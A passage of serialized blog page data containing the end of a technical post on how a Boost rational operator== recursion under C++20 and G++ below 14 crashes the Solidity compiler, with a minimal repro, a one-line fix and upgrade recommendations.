(",{"type":25,"tag":201,"props":92399,"children":92400},{"style":208},[92401],{"type":31,"value":4074},{"type":25,"tag":201,"props":92403,"children":92404},{"style":4925},[92405],{"type":31,"value":7427},{"type":25,"tag":201,"props":92407,"children":92408},{"style":208},[92409],{"type":31,"value":4615},{"type":25,"tag":201,"props":92411,"children":92412},{"style":246},[92413],{"type":31,"value":4904},{"type":25,"tag":201,"props":92415,"children":92416},{"style":220},[92417],{"type":31,"value":385},{"type":25,"tag":201,"props":92419,"children":92420},{"style":208},[92421],{"type":31,"value":92422},"const\n",{"type":25,"tag":201,"props":92424,"children":92425},{"class":203,"line":522},[92426],{"type":25,"tag":201,"props":92427,"children":92428},{"style":220},[92429],{"type":31,"value":30670},{"type":25,"tag":201,"props":92431,"children":92432},{"class":203,"line":531},[92433,92438,92443,92447,92451,92455,92459,92463,92467,92472,92476],{"type":25,"tag":201,"props":92434,"children":92435},{"style":230},[92436],{"type":31,"value":92437},"       return",{"type":25,"tag":201,"props":92439,"children":92440},{"style":220},[92441],{"type":31,"value":92442}," ((den ",{"type":25,"tag":201,"props":92444,"children":92445},{"style":261},[92446],{"type":31,"value":10083},{"type":25,"tag":201,"props":92448,"children":92449},{"style":214},[92450],{"type":31,"value":91532},{"type":25,"tag":201,"props":92452,"children":92453},{"style":220},[92454],{"type":31,"value":298},{"type":25,"tag":201,"props":92456,"children":92457},{"style":426},[92458],{"type":31,"value":5516},{"type":25,"tag":201,"props":92460,"children":92461},{"style":220},[92462],{"type":31,"value":10344},{"type":25,"tag":201,"props":92464,"children":92465},{"style":261},[92466],{"type":31,"value":74279},{"type":25,"tag":201,"props":92468,"children":92469},{"style":220},[92470],{"type":31,"value":92471}," (num ",{"type":25,"tag":201,"props":92473,"children":92474},{"style":261},[92475],{"type":31,"value":10083},{"type":25,"tag":201,"props":92477,"children":92478},{"style":220},[92479],{"type":31,"value":92480}," i));\n",{"type":25,"tag":201,"props":92482,"children":92483},{"class":203,"line":550},[92484],{"type":25,"tag":201,"props":92485,"children":92486},{"style":220},[92487],{"type":31,"value":4861},{"type":25,"tag":201,"props":92489,"children":92490},{"class":203,"line":563},[92491],{"type":25,"tag":201,"props":92492,"children":92493},{"style":220},[92494],{"type":31,"value":21836},{"type":25,"tag":201,"props":92496,"children":92497},{"class":203,"line":572},[92498],{"type":25,"tag":201,"props":92499,"children":92500},{"style":220},[92501],{"type":31,"value":1187},{"type":25,"tag":201,"props":92503,"children":92504},{"class":203,"line":590},[92505],{"type":25,"tag":201,"props":92506,"children":92507},{"emptyLinePlaceholder":17},[92508],{"type":31,"value":496},{"type":25,"tag":201,"props":92510,"children":92511},{"class":203,"line":608},[92512,92516,92520,92524,92528,92532,92536,92540],{"type":25,"tag":201,"props":92513,"children":92514},{"style":208},[92515],{"type":31,"value":67297},{"type":25,"tag":201,"props":92517,"children":92518},{"style":220},[92519],{"type":31,"value":3208},{"type":25,"tag":201,"props":92521,"children":92522},{"style":208},[92523],{"type":31,"value":71492},{"type":25,"tag":201,"props":92525,"children":92526},{"style":4925},[92527],{"type":31,"value":91713},{"type":25,"tag":201,"props":92529,"children":92530},{"style":220},[92531],{"type":31,"value":919},{"type":25,"tag":201,"props":92533,"children":92534},{"style":208},[92535],{"type":31,"value":71492},{"type":25,"tag":201,"props":92537,"children":92538},{"style":4925},[92539],{"type":31,"value":91532},{"type":25,"tag":201,"props":92541,"children":92542},{"style":220},[92543],{"type":31,"value":1308},{"type":25,"tag":201,"props":92545,"children":92546},{"class":203,"line":617},[92547],{"type":25,"tag":201,"props":92548,"children":92549},{"style":220},[92550],{"type":31,"value":92551},"BOOST_CONSTEXPR\n",{"type":25,"tag":201,"props":92553,"children":92554},{"class":203,"line":625},[92555,92560,92565,92570,92575],{"type":25,"tag":201,"props":92556,"children":92557},{"style":208},[92558],{"type":31,"value":92559},"inline",{"type":25,"tag":201,"props":92561,"children":92562},{"style":208},[92563],{"type":31,"value":92564}," typename",{"type":25,"tag":201,"props":92566,"children":92567},{"style":220},[92568],{"type":31,"value":92569}," boost::",{"type":25,"tag":201,"props":92571,"children":92572},{"style":4925},[92573],{"type":31,"value":92574},"enable_if_c",{"type":25,"tag":201,"props":92576,"children":92577},{"style":261},[92578],{"type":31,"value":92579}," \u003C\n",{"type":25,"tag":201,"props":92581,"children":92582},{"class":203,"line":642},[92583,92588,92593,92597,92601,92606,92610,92614],{"type":25,"tag":201,"props":92584,"children":92585},{"style":220},[92586],{"type":31,"value":92587},"   rational_detail::is_compatible_integer\u003C",{"type":25,"tag":201,"props":92589,"children":92590},{"style":4925},[92591],{"type":31,"value":92592},"Arg",{"type":25,"tag":201,"props":92594,"children":92595},{"style":220},[92596],{"type":31,"value":919},{"type":25,"tag":201,"props":92598,"children":92599},{"style":4925},[92600],{"type":31,"value":91761},{"type":25,"tag":201,"props":92602,"children":92603},{"style":220},[92604],{"type":31,"value":92605},">::value, ",{"type":25,"tag":201,"props":92607,"children":92608},{"style":208},[92609],{"type":31,"value":31169},{"type":25,"tag":201,"props":92611,"children":92612},{"style":261},[92613],{"type":31,"value":1342},{"type":25,"tag":201,"props":92615,"children":92616},{"style":220},[92617],{"type":31,"value":92618},"::type\n",{"type":25,"tag":201,"props":92620,"children":92621},{"class":203,"line":659},[92622,92627,92632,92636,92640,92644,92648,92652,92656,92660,92664,92668,92672,92676,92680],{"type":25,"tag":201,"props":92623,"children":92624},{"style":208},[92625],{"type":31,"value":92626},"   operator",{"type":25,"tag":201,"props":92628,"children":92629},{"style":220},[92630],{"type":31,"value":92631}," == (",{"type":25,"tag":201,"props":92633,"children":92634},{"style":208},[92635],{"type":31,"value":4074},{"type":25,"tag":201,"props":92637,"children":92638},{"style":4925},[92639],{"type":31,"value":91713},{"type":25,"tag":201,"props":92641,"children":92642},{"style":208},[92643],{"type":31,"value":4615},{"type":25,"tag":201,"props":92645,"children":92646},{"style":246},[92647],{"type":31,"value":91794},{"type":25,"tag":201,"props":92649,"children":92650},{"style":220},[92651],{"type":31,"value":919},{"type":25,"tag":201,"props":92653,"children":92654},{"style":208},[92655],{"type":31,"value":4074},{"type":25,"tag":201,"props":92657,"children":92658},{"style":4925},[92659],{"type":31,"value":91548},{"type":25,"tag":201,"props":92661,"children":92662},{"style":220},[92663],{"type":31,"value":1298},{"type":25,"tag":201,"props":92665,"children":92666},{"style":4925},[92667],{"type":31,"value":91761},{"type":25,"tag":201,"props":92669,"children":92670},{"style":220},[92671],{"type":31,"value":1342},{"type":25,"tag":201,"props":92673,"children":92674},{"style":208},[92675],{"type":31,"value":4615},{"type":25,"tag":201,"props":92677,"children":92678},{"style":246},[92679],{"type":31,"value":90920},{"type":25,"tag":201,"props":92681,"children":92682},{"style":220},[92683],{"type":31,"value":4666},{"type":25,"tag":201,"props":92685,"children":92686},{"class":203,"line":667},[92687],{"type":25,"tag":201,"props":92688,"children":92689},{"style":220},[92690],{"type":31,"value":1822},{"type":25,"tag":201,"props":92692,"children":92693},{"class":203,"line":676},[92694,92698,92702,92706],{"type":25,"tag":201,"props":92695,"children":92696},{"style":230},[92697],{"type":31,"value":40427},{"type":25,"tag":201,"props":92699,"children":92700},{"style":220},[92701],{"type":31,"value":18261},{"type":25,"tag":201,"props":92703,"children":92704},{"style":261},[92705],{"type":31,"value":10083},{"type":25,"tag":201,"props":92707,"children":92708},{"style":220},[92709],{"type":31,"value":92710}," b; \n",{"type":25,"tag":201,"props":92712,"children":92713},{"class":203,"line":694},[92714],{"type":25,"tag":201,"props":92715,"children":92716},{"style":220},[92717],{"type":31,"value":1187},{"type":25,"tag":34,"props":92719,"children":92720},{},[92721,92723,92729],{"type":31,"value":92722},"This was designed under C++17 semantics. Back then, ",{"type":25,"tag":115,"props":92724,"children":92726},{"className":92725},[],[92727],{"type":31,"value":92728},"rhs == lhs",{"type":31,"value":92730}," would fall back to member overloads if available. All good.",{"type":25,"tag":34,"props":92732,"children":92733},{},[92734,92736,92741,92742,92748],{"type":31,"value":92735},"But under ",{"type":25,"tag":115,"props":92737,"children":92739},{"className":92738},[],[92740],{"type":31,"value":91285},{"type":31,"value":22999},{"type":25,"tag":115,"props":92743,"children":92745},{"className":92744},[],[92746],{"type":31,"value":92747},"G++ \u003C 14",{"type":31,"value":5997},{"type":25,"tag":18183,"props":92750,"children":92751},{},[92752,92757,92762,92767],{"type":25,"tag":6948,"props":92753,"children":92754},{},[92755],{"type":31,"value":92756},"G++ incorrectly chooses this non-member operator first",{"type":25,"tag":6948,"props":92758,"children":92759},{},[92760],{"type":31,"value":92761},"C++20 reverses the comparison",{"type":25,"tag":6948,"props":92763,"children":92764},{},[92765],{"type":31,"value":92766},"Which calls the same function again with arguments flipped",{"type":25,"tag":6948,"props":92768,"children":92769},{},[92770],{"type":31,"value":92771},"And so on...",{"type":25,"tag":34,"props":92773,"children":92774},{},[92775,92777,92782],{"type":31,"value":92776},"This creates ",{"type":25,"tag":1252,"props":92778,"children":92779},{},[92780],{"type":31,"value":92781},"infinite recursion",{"type":31,"value":80},{"type":25,"tag":34,"props":92784,"children":92785},{},[92786],{"type":31,"value":92787},"A minimal example:",{"type":25,"tag":191,"props":92789,"children":92791},{"code":92790,"language":30595,"meta":7,"className":30593,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[92792],{"type":25,"tag":115,"props":92793,"children":92794},{"__ignoreMap":7},[92795,92803,92815,92822,92837,92861,92884],{"type":25,"tag":201,"props":92796,"children":92797},{"class":203,"line":204},[92798],{"type":25,"tag":201,"props":92799,"children":92800},{"style":4497},[92801],{"type":31,"value":92802},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":25,"tag":201,"props":92804,"children":92805},{"class":203,"line":226},[92806,92810],{"type":25,"tag":201,"props":92807,"children":92808},{"style":230},[92809],{"type":31,"value":91499},{"type":25,"tag":201,"props":92811,"children":92812},{"style":267},[92813],{"type":31,"value":92814}," \u003Cboost/rational.hpp>\n",{"type":25,"tag":201,"props":92816,"children":92817},{"class":203,"line":278},[92818],{"type":25,"tag":201,"props":92819,"children":92820},{"emptyLinePlaceholder":17},[92821],{"type":31,"value":496},{"type":25,"tag":201,"props":92823,"children":92824},{"class":203,"line":311},[92825,92829,92833],{"type":25,"tag":201,"props":92826,"children":92827},{"style":208},[92828],{"type":31,"value":20546},{"type":25,"tag":201,"props":92830,"children":92831},{"style":214},[92832],{"type":31,"value":91864},{"type":25,"tag":201,"props":92834,"children":92835},{"style":220},[92836],{"type":31,"value":223},{"type":25,"tag":201,"props":92838,"children":92839},{"class":203,"line":330},[92840,92845,92849,92853,92857],{"type":25,"tag":201,"props":92841,"children":92842},{"style":220},[92843],{"type":31,"value":92844},"    boost::rational",{"type":25,"tag":201,"props":92846,"children":92847},{"style":261},[92848],{"type":31,"value":1298},{"type":25,"tag":201,"props":92850,"children":92851},{"style":208},[92852],{"type":31,"value":20546},{"type":25,"tag":201,"props":92854,"children":92855},{"style":261},[92856],{"type":31,"value":1342},{"type":25,"tag":201,"props":92858,"children":92859},{"style":220},[92860],{"type":31,"value":91893},{"type":25,"tag":201,"props":92862,"children":92863},{"class":203,"line":397},[92864,92868,92872,92876,92880],{"type":25,"tag":201,"props":92865,"children":92866},{"style":230},[92867],{"type":31,"value":18486},{"type":25,"tag":201,"props":92869,"children":92870},{"style":220},[92871],{"type":31,"value":91905},{"type":25,"tag":201,"props":92873,"children":92874},{"style":261},[92875],{"type":31,"value":10083},{"type":25,"tag":201,"props":92877,"children":92878},{"style":426},[92879],{"type":31,"value":4554},{"type":25,"tag":201,"props":92881,"children":92882},{"style":220},[92883],{"type":31,"value":461},{"type":25,"tag":201,"props":92885,"children":92886},{"class":203,"line":437},[92887],{"type":25,"tag":201,"props":92888,"children":92889},{"style":220},[92890],{"type":31,"value":1187},{"type":25,"tag":34,"props":92892,"children":92893},{},[92894],{"type":31,"value":92895},"Expected output: nothing.",{"type":25,"tag":34,"props":92897,"children":92898},{},[92899],{"type":31,"value":92900},"Actual: segmentation fault (stack overflow).",{"type":25,"tag":34,"props":92902,"children":92903},{},[92904,92906,92913],{"type":31,"value":92905},"This exact pattern was ",{"type":25,"tag":71,"props":92907,"children":92910},{"href":92908,"rel":92909},"https://github.com/boostorg/rational/issues/43",[75],[92911],{"type":31,"value":92912},"reported and fixed in Boost rational",{"type":31,"value":92914},", but only in version 1.75+.",{"type":25,"tag":34,"props":92916,"children":92917},{},[92918],{"type":31,"value":92919},"Here’s the one-line fix:",{"type":25,"tag":191,"props":92921,"children":92923},{"code":92922,"language":41433,"meta":7,"className":41431,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[92924],{"type":25,"tag":115,"props":92925,"children":92926},{"__ignoreMap":7},[92927,92935,92942,92950,92958,92966,92973,92981,92989],{"type":25,"tag":201,"props":92928,"children":92929},{"class":203,"line":204},[92930],{"type":25,"tag":201,"props":92931,"children":92932},{"style":220},[92933],{"type":31,"value":92934},"template \u003Cclass Arg, class IntType>\n",{"type":25,"tag":201,"props":92936,"children":92937},{"class":203,"line":226},[92938],{"type":25,"tag":201,"props":92939,"children":92940},{"style":220},[92941],{"type":31,"value":92551},{"type":25,"tag":201,"props":92943,"children":92944},{"class":203,"line":278},[92945],{"type":25,"tag":201,"props":92946,"children":92947},{"style":220},[92948],{"type":31,"value":92949},"inline typename boost::enable_if_c \u003C\n",{"type":25,"tag":201,"props":92951,"children":92952},{"class":203,"line":311},[92953],{"type":25,"tag":201,"props":92954,"children":92955},{"style":220},[92956],{"type":31,"value":92957},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":25,"tag":201,"props":92959,"children":92960},{"class":203,"line":330},[92961],{"type":25,"tag":201,"props":92962,"children":92963},{"style":220},[92964],{"type":31,"value":92965},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":25,"tag":201,"props":92967,"children":92968},{"class":203,"line":397},[92969],{"type":25,"tag":201,"props":92970,"children":92971},{"style":220},[92972],{"type":31,"value":1822},{"type":25,"tag":201,"props":92974,"children":92975},{"class":203,"line":437},[92976],{"type":25,"tag":201,"props":92977,"children":92978},{"style":267},[92979],{"type":31,"value":92980},"-     return a == b;\n",{"type":25,"tag":201,"props":92982,"children":92983},{"class":203,"line":464},[92984],{"type":25,"tag":201,"props":92985,"children":92986},{"style":426},[92987],{"type":31,"value":92988},"+     return a.operator==(b);\n",{"type":25,"tag":201,"props":92990,"children":92991},{"class":203,"line":490},[92992],{"type":25,"tag":201,"props":92993,"children":92994},{"style":220},[92995],{"type":31,"value":1187},{"type":25,"tag":34,"props":92997,"children":92998},{},[92999,93001,93006,93008,93013],{"type":31,"value":93000},"Instead of calling ",{"type":25,"tag":115,"props":93002,"children":93004},{"className":93003},[],[93005],{"type":31,"value":91331},{"type":31,"value":93007}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":25,"tag":115,"props":93009,"children":93011},{"className":93010},[],[93012],{"type":31,"value":91339},{"type":31,"value":80},{"type":25,"tag":34,"props":93015,"children":93016},{},[93017],{"type":31,"value":93018},"This prevents C++20 from triggering recursive rewrites.",{"type":25,"tag":20292,"props":93020,"children":93021},{},[],{"type":25,"tag":26,"props":93023,"children":93025},{"id":93024},"part-iv-how-this-breaks-solidity",[93026],{"type":31,"value":93027},"Part IV: How This Breaks Solidity",{"type":25,"tag":34,"props":93029,"children":93030},{},[93031,93033,93038],{"type":31,"value":93032},"The Solidity codebase uses ",{"type":25,"tag":115,"props":93034,"children":93036},{"className":93035},[],[93037],{"type":31,"value":91186},{"type":31,"value":93039}," to represent certain compile-time constant expressions.",{"type":25,"tag":34,"props":93041,"children":93042},{},[93043,93045,93051],{"type":31,"value":93044},"One snippet that can trigger this issue appears in ",{"type":25,"tag":115,"props":93046,"children":93048},{"className":93047},[],[93049],{"type":31,"value":93050},"DeclarationTypeChecker::endVisit",{"type":31,"value":5997},{"type":25,"tag":191,"props":93053,"children":93055},{"code":93054,"language":30595,"meta":7,"className":30593,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[93056],{"type":25,"tag":115,"props":93057,"children":93058},{"__ignoreMap":7},[93059,93106,93131,93138,93216,93223,93276,93304,93311,93331,93338,93378,93385],{"type":25,"tag":201,"props":93060,"children":93061},{"class":203,"line":204},[93062,93066,93071,93075,93079,93084,93088,93093,93097,93101],{"type":25,"tag":201,"props":93063,"children":93064},{"style":230},[93065],{"type":31,"value":4105},{"type":25,"tag":201,"props":93067,"children":93068},{"style":220},[93069],{"type":31,"value":93070}," (Expression ",{"type":25,"tag":201,"props":93072,"children":93073},{"style":208},[93074],{"type":31,"value":4074},{"type":25,"tag":201,"props":93076,"children":93077},{"style":261},[93078],{"type":31,"value":6077},{"type":25,"tag":201,"props":93080,"children":93081},{"style":220},[93082],{"type":31,"value":93083}," length ",{"type":25,"tag":201,"props":93085,"children":93086},{"style":261},[93087],{"type":31,"value":1383},{"type":25,"tag":201,"props":93089,"children":93090},{"style":246},[93091],{"type":31,"value":93092}," _typeName",{"type":25,"tag":201,"props":93094,"children":93095},{"style":220},[93096],{"type":31,"value":80},{"type":25,"tag":201,"props":93098,"children":93099},{"style":214},[93100],{"type":31,"value":10011},{"type":25,"tag":201,"props":93102,"children":93103},{"style":220},[93104],{"type":31,"value":93105},"()) {\n",{"type":25,"tag":201,"props":93107,"children":93108},{"class":203,"line":226},[93109,93114,93118,93122,93126],{"type":25,"tag":201,"props":93110,"children":93111},{"style":220},[93112],{"type":31,"value":93113},"    std::optional",{"type":25,"tag":201,"props":93115,"children":93116},{"style":261},[93117],{"type":31,"value":1298},{"type":25,"tag":201,"props":93119,"children":93120},{"style":220},[93121],{"type":31,"value":92191},{"type":25,"tag":201,"props":93123,"children":93124},{"style":261},[93125],{"type":31,"value":1342},{"type":25,"tag":201,"props":93127,"children":93128},{"style":220},[93129],{"type":31,"value":93130}," lengthValue;\n",{"type":25,"tag":201,"props":93132,"children":93133},{"class":203,"line":278},[93134],{"type":25,"tag":201,"props":93135,"children":93136},{"emptyLinePlaceholder":17},[93137],{"type":31,"value":496},{"type":25,"tag":201,"props":93139,"children":93140},{"class":203,"line":311},[93141,93145,93149,93153,93157,93161,93165,93169,93173,93178,93182,93186,93190,93194,93198,93203,93207,93211],{"type":25,"tag":201,"props":93142,"children":93143},{"style":230},[93144],{"type":31,"value":13781},{"type":25,"tag":201,"props":93146,"children":93147},{"style":220},[93148],{"type":31,"value":238},{"type":25,"tag":201,"props":93150,"children":93151},{"style":246},[93152],{"type":31,"value":10011},{"type":25,"tag":201,"props":93154,"children":93155},{"style":220},[93156],{"type":31,"value":15259},{"type":25,"tag":201,"props":93158,"children":93159},{"style":214},[93160],{"type":31,"value":31647},{"type":25,"tag":201,"props":93162,"children":93163},{"style":220},[93164],{"type":31,"value":31652},{"type":25,"tag":201,"props":93166,"children":93167},{"style":246},[93168],{"type":31,"value":1684},{"type":25,"tag":201,"props":93170,"children":93171},{"style":261},[93172],{"type":31,"value":15687},{"type":25,"tag":201,"props":93174,"children":93175},{"style":246},[93176],{"type":31,"value":93177}," length",{"type":25,"tag":201,"props":93179,"children":93180},{"style":220},[93181],{"type":31,"value":15259},{"type":25,"tag":201,"props":93183,"children":93184},{"style":214},[93185],{"type":31,"value":31647},{"type":25,"tag":201,"props":93187,"children":93188},{"style":220},[93189],{"type":31,"value":31652},{"type":25,"tag":201,"props":93191,"children":93192},{"style":246},[93193],{"type":31,"value":1684},{"type":25,"tag":201,"props":93195,"children":93196},{"style":220},[93197],{"type":31,"value":15259},{"type":25,"tag":201,"props":93199,"children":93200},{"style":214},[93201],{"type":31,"value":93202},"category",{"type":25,"tag":201,"props":93204,"children":93205},{"style":220},[93206],{"type":31,"value":15545},{"type":25,"tag":201,"props":93208,"children":93209},{"style":261},[93210],{"type":31,"value":10083},{"type":25,"tag":201,"props":93212,"children":93213},{"style":220},[93214],{"type":31,"value":93215}," Type::Category::RationalNumber)\n",{"type":25,"tag":201,"props":93217,"children":93218},{"class":203,"line":330},[93219],{"type":25,"tag":201,"props":93220,"children":93221},{"style":220},[93222],{"type":31,"value":82926},{"type":25,"tag":201,"props":93224,"children":93225},{"class":203,"line":397},[93226,93231,93235,93240,93244,93249,93253,93258,93262,93267,93271],{"type":25,"tag":201,"props":93227,"children":93228},{"style":230},[93229],{"type":31,"value":93230},"    else",{"type":25,"tag":201,"props":93232,"children":93233},{"style":230},[93234],{"type":31,"value":17283},{"type":25,"tag":201,"props":93236,"children":93237},{"style":220},[93238],{"type":31,"value":93239}," (std::optional",{"type":25,"tag":201,"props":93241,"children":93242},{"style":261},[93243],{"type":31,"value":1298},{"type":25,"tag":201,"props":93245,"children":93246},{"style":220},[93247],{"type":31,"value":93248},"ConstantEvaluator::TypedRational",{"type":25,"tag":201,"props":93250,"children":93251},{"style":261},[93252],{"type":31,"value":1342},{"type":25,"tag":201,"props":93254,"children":93255},{"style":220},[93256],{"type":31,"value":93257}," value ",{"type":25,"tag":201,"props":93259,"children":93260},{"style":261},[93261],{"type":31,"value":1383},{"type":25,"tag":201,"props":93263,"children":93264},{"style":220},[93265],{"type":31,"value":93266}," ConstantEvaluator::",{"type":25,"tag":201,"props":93268,"children":93269},{"style":214},[93270],{"type":31,"value":39075},{"type":25,"tag":201,"props":93272,"children":93273},{"style":220},[93274],{"type":31,"value":93275},"(...))\n",{"type":25,"tag":201,"props":93277,"children":93278},{"class":203,"line":437},[93279,93284,93288,93292,93296,93300],{"type":25,"tag":201,"props":93280,"children":93281},{"style":220},[93282],{"type":31,"value":93283},"        lengthValue ",{"type":25,"tag":201,"props":93285,"children":93286},{"style":261},[93287],{"type":31,"value":1383},{"type":25,"tag":201,"props":93289,"children":93290},{"style":246},[93291],{"type":31,"value":1435},{"type":25,"tag":201,"props":93293,"children":93294},{"style":220},[93295],{"type":31,"value":15259},{"type":25,"tag":201,"props":93297,"children":93298},{"style":246},[93299],{"type":31,"value":40222},{"type":25,"tag":201,"props":93301,"children":93302},{"style":220},[93303],{"type":31,"value":461},{"type":25,"tag":201,"props":93305,"children":93306},{"class":203,"line":464},[93307],{"type":25,"tag":201,"props":93308,"children":93309},{"emptyLinePlaceholder":17},[93310],{"type":31,"value":496},{"type":25,"tag":201,"props":93312,"children":93313},{"class":203,"line":490},[93314,93318,93322,93326],{"type":25,"tag":201,"props":93315,"children":93316},{"style":230},[93317],{"type":31,"value":13781},{"type":25,"tag":201,"props":93319,"children":93320},{"style":220},[93321],{"type":31,"value":238},{"type":25,"tag":201,"props":93323,"children":93324},{"style":261},[93325],{"type":31,"value":4114},{"type":25,"tag":201,"props":93327,"children":93328},{"style":220},[93329],{"type":31,"value":93330},"lengthValue)\n",{"type":25,"tag":201,"props":93332,"children":93333},{"class":203,"line":499},[93334],{"type":25,"tag":201,"props":93335,"children":93336},{"style":220},[93337],{"type":31,"value":82926},{"type":25,"tag":201,"props":93339,"children":93340},{"class":203,"line":522},[93341,93345,93349,93353,93357,93361,93365,93369,93373],{"type":25,"tag":201,"props":93342,"children":93343},{"style":230},[93344],{"type":31,"value":93230},{"type":25,"tag":201,"props":93346,"children":93347},{"style":230},[93348],{"type":31,"value":17283},{"type":25,"tag":201,"props":93350,"children":93351},{"style":220},[93352],{"type":31,"value":238},{"type":25,"tag":201,"props":93354,"children":93355},{"style":261},[93356],{"type":31,"value":6077},{"type":25,"tag":201,"props":93358,"children":93359},{"style":220},[93360],{"type":31,"value":91162},{"type":25,"tag":201,"props":93362,"children":93363},{"style":261},[93364],{"type":31,"value":10083},{"type":25,"tag":201,"props":93366,"children":93367},{"style":426},[93368],{"type":31,"value":4554},{"type":25,"tag":201,"props":93370,"children":93371},{"style":220},[93372],{"type":31,"value":3073},{"type":25,"tag":201,"props":93374,"children":93375},{"style":4497},[93376],{"type":31,"value":93377},"  // \u003C-- Infinite recursion happens here\n",{"type":25,"tag":201,"props":93379,"children":93380},{"class":203,"line":531},[93381],{"type":25,"tag":201,"props":93382,"children":93383},{"style":220},[93384],{"type":31,"value":82926},{"type":25,"tag":201,"props":93386,"children":93387},{"class":203,"line":550},[93388],{"type":25,"tag":201,"props":93389,"children":93390},{"style":220},[93391],{"type":31,"value":1187},{"type":25,"tag":34,"props":93393,"children":93394},{},[93395],{"type":31,"value":93396},"Under normal circumstances, this expression is benign. But:",{"type":25,"tag":18183,"props":93398,"children":93399},{},[93400,93405,93410],{"type":25,"tag":6948,"props":93401,"children":93402},{},[93403],{"type":31,"value":93404},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":25,"tag":6948,"props":93406,"children":93407},{},[93408],{"type":31,"value":93409},"C++20 reverses the arguments",{"type":25,"tag":6948,"props":93411,"children":93412},{},[93413],{"type":31,"value":93414},"The non-member operator recursively calls itself",{"type":25,"tag":34,"props":93416,"children":93417},{},[93418],{"type":31,"value":93419},"💥: segmentation fault.",{"type":25,"tag":20292,"props":93421,"children":93422},{},[],{"type":25,"tag":26,"props":93424,"children":93426},{"id":93425},"part-v-what-environments-are-affected",[93427],{"type":31,"value":93428},"Part V: What Environments are Affected?",{"type":25,"tag":34,"props":93430,"children":93431},{},[93432],{"type":31,"value":93433},"If a system uses any of the following:",{"type":25,"tag":18183,"props":93435,"children":93436},{},[93437,93442,93447],{"type":25,"tag":6948,"props":93438,"children":93439},{},[93440],{"type":31,"value":93441},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":25,"tag":6948,"props":93443,"children":93444},{},[93445],{"type":31,"value":93446},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":25,"tag":6948,"props":93448,"children":93449},{},[93450],{"type":31,"value":93451},"C++20 enabled (default in recent Solidity builds)",{"type":25,"tag":34,"props":93453,"children":93454},{},[93455,93457,93462,93464,93470],{"type":31,"value":93456},"They will encounter this crash ",{"type":25,"tag":1252,"props":93458,"children":93459},{},[93460],{"type":31,"value":93461},"as soon as",{"type":31,"value":93463}," it processes a Solidity source with a length expression like ",{"type":25,"tag":115,"props":93465,"children":93467},{"className":93466},[],[93468],{"type":31,"value":93469},"T[0]",{"type":31,"value":93471}," or anything involving compile-time rational comparisons.",{"type":25,"tag":20292,"props":93473,"children":93474},{},[],{"type":25,"tag":26,"props":93476,"children":93478},{"id":93477},"recommendations",[93479],{"type":31,"value":93480},"Recommendations",{"type":25,"tag":18183,"props":93482,"children":93483},{},[93484,93492],{"type":25,"tag":6948,"props":93485,"children":93486},{},[93487],{"type":25,"tag":1252,"props":93488,"children":93489},{},[93490],{"type":31,"value":93491},"Update Boost to ≥ 1.75",{"type":25,"tag":6948,"props":93493,"children":93494},{},[93495],{"type":25,"tag":1252,"props":93496,"children":93497},{},[93498],{"type":31,"value":93499},"Pin G++ to v14 or later",{"type":25,"tag":20292,"props":93501,"children":93502},{},[],{"type":25,"tag":26,"props":93504,"children":93505},{"id":4323},[93506],{"type":31,"value":4326},{"type":25,"tag":34,"props":93508,"children":93509},{},[93510],{"type":31,"value":93511},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":25,"tag":34,"props":93513,"children":93514},{},[93515,93517,93521],{"type":31,"value":93516},"But it ",{"type":25,"tag":1252,"props":93518,"children":93519},{},[93520],{"type":31,"value":5476},{"type":31,"value":93522}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":25,"tag":34,"props":93524,"children":93525},{},[93526],{"type":31,"value":93527},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":25,"tag":34,"props":93529,"children":93530},{},[93531],{"type":31,"value":93532},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":25,"tag":4349,"props":93534,"children":93535},{},[93536],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":93538},[93539,93540,93545,93548,93549,93550,93551,93552],{"id":91222,"depth":226,"text":91225},{"id":91311,"depth":226,"text":91314,"children":93541},[93542,93543,93544],{"id":91317,"depth":278,"text":91320},{"id":91385,"depth":278,"text":91388},{"id":91476,"depth":278,"text":91479},{"id":92060,"depth":226,"text":92063,"children":93546},[93547],{"id":92066,"depth":278,"text":92069},{"id":92177,"depth":226,"text":92180},{"id":93024,"depth":226,"text":93027},{"id":93425,"depth":226,"text":93428},{"id":93477,"depth":226,"text":93480},{"id":4323,"depth":226,"text":4326},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":93557,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":93558,"description":93559,"date":93560,"author":11,"image":93561,"isFeatured":17,"onBlogPage":17,"tags":93563,"body":93566,"_type":4371,"_id":98342,"_source":4373,"_file":98343,"_stem":98344,"_extension":4376},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new 